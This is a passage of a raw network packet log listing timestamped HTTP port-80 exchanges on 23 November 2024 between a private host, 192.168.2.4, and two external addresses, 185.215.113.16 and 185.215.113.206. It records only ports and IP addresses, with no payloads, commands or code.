Nov 23, 2024 15:22:40.664854050 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.664905071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.664974928 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.665024042 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.665930986 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.665982962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.666054964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.666132927 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.666963100 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.667094946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.667139053 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.667169094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.668037891 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.668092012 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.668237925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.668289900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.669091940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.669147015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.669188023 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.669219017 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.670147896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.670205116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.670274973 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.670334101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.671204090 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.671263933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.671350002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.671452045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.672293901 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.672418118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.672420025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.672477007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.673335075 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.673381090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.673463106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.673547983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.674387932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.674432993 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.674540043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.674587011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.675463915 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.675617933 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.675638914 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.675663948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.676517963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.676565886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.676642895 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.676774025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.677566051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.677622080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.677660942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.677705050 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.799217939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.799294949 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.799386978 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.799530983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.799746990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.799806118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.799875975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.800271988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.800822020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.800873995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.800944090 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.800991058 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.801846981 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.801901102 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.827944040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.828001976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.828066111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.828396082 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.828452110 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.828537941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.828593016 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.829458952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.829561949 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.829603910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.829654932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.830591917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.830660105 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.830673933 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.830723047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.831540108 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.831595898 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.831644058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.831693888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.832596064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.832669973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.832724094 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.832870960 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.833667994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.833741903 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.833797932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.833971977 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.834747076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.834815979 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.834871054 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.834928036 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.835815907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.835916042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.835937023 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.835967064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.836913109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.836963892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.837023020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.837074041 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.837889910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.837940931 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.838027000 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.838085890 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.838959932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.839014053 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.839099884 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.839153051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.840070963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.840138912 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.840168953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.840214014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.841094971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.841192961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.841209888 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.841259956 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.842139959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.842190981 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.842317104 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.842367887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.843175888 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.843247890 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.843287945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.843367100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.844331980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.844388962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.844474077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.844527006 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.845397949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.845457077 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.845590115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.845643044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.846390963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.846453905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.846522093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.846604109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.847436905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.847491980 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.847563028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.847606897 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.848548889 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.848612070 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.848675013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.848726988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.849575043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.849633932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.849703074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.849761963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.850600004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.850671053 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.850718021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.850763083 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.851690054 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.851737022 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.851758957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.851795912 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.852775097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.852832079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.852865934 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.852916002 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.853790998 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.853861094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.853918076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.853966951 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.854860067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.854911089 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.854983091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.855036020 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.855999947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.856060028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.856132030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.856184006 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.856956959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.857028008 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.857090950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.857137918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.858040094 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.858112097 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.858122110 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.859064102 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.859119892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.859194994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.859253883 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.860143900 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.860198021 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.860336065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.860403061 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.861219883 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.861282110 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.861351013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.861401081 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.862247944 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.862299919 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.862385035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.862430096 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.863327026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.863382101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.863432884 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.863495111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.864372969 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.864433050 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.864504099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.864552021 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.865468979 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.865529060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.865705967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.865758896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.866487026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.866544962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.866620064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.866740942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.867566109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.867624044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.867659092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.867811918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.868652105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.868689060 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.868705988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.868736029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.869657993 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.869786978 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.869807959 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.869837046 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.870775938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.870889902 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.870913982 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.870942116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.871774912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.871884108 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.871891022 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.871938944 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.872843981 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.872946978 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.872977018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.873028040 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.873891115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.873939991 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.873986959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.874145031 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.875082970 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.875142097 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.875154018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.875205994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.876045942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.876102924 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.876159906 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.876224041 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.877157927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.877214909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.877281904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.877351999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.878137112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.878190994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.878273964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.878324032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.879187107 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.879235983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.879240036 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.879373074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.896785021 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.896819115 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.896855116 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.896862984 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.896862984 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.896898031 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.896928072 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.896930933 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.896954060 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.896987915 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.897041082 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.902748108 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:41.000499964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.000586987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.000587940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.000638008 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.000998974 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.001053095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.001056910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.001111984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.002052069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.002106905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.002177954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.002230883 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.003072023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.003123999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.022439003 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.028909922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.029066086 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.029165030 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.029401064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.029512882 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.029582977 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.030467987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.030531883 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.030576944 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.031533957 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.031596899 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.031687975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.031805038 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.032560110 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.032702923 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.032766104 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.033648968 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.033808947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.033875942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.034686089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.034812927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.034873009 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.035763979 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.035912991 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.035973072 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.036838055 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.036875010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.036932945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.037868977 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.037996054 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.038063049 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.038938046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.039000988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.039058924 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.039999008 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.040066004 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.040108919 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.041064024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.041100979 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.041131973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.041163921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.042136908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.042228937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.042229891 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.042371035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.043164015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.043219090 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.043282986 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.044239044 CET	80	49853	185.215.113.16	192.168.2.4
